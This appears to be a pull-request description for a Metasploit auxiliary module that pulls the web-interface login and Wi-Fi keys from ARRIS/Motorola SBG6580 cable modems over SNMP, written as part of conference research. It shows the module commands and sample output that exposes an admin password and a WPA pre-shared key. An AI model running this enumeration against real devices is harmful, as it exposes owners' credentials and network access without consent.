Add ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module

The module can be used to pull the username and password for the device user interface as well as wireless network keys and information. The module was created while researching information exposure vulnerabilities via SNMP with Deral Heiland ([@Percent_X](https://twitter.com/percent_x)) for our [talk](http://carolinacon.org/abstracts.html#6) at [CarolinaCon](http://carolinacon.org/).

### Example Output
```
msf > use auxiliary/scanner/snmp/sbg6580_enum 
msf auxiliary(sbg6580_enum) > set RHOSTS 192.168.0.1
RHOSTS => 192.168.0.1
msf auxiliary(sbg6580_enum) > run

[+] 192.168.0.1, Connected.

[*] Device information:

Host IP                       : 192.168.0.1
Username                      : admin
Password                      : motorola
SSID                          : MOTOROLA-SBG
802.11 Band                   : 2.4 Ghz
Network Authentication Mode   : WPA2-PSK
WPA Encryption                : AES
WPA Pre-Shared Key (PSK)      : CarolinaCon-10

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```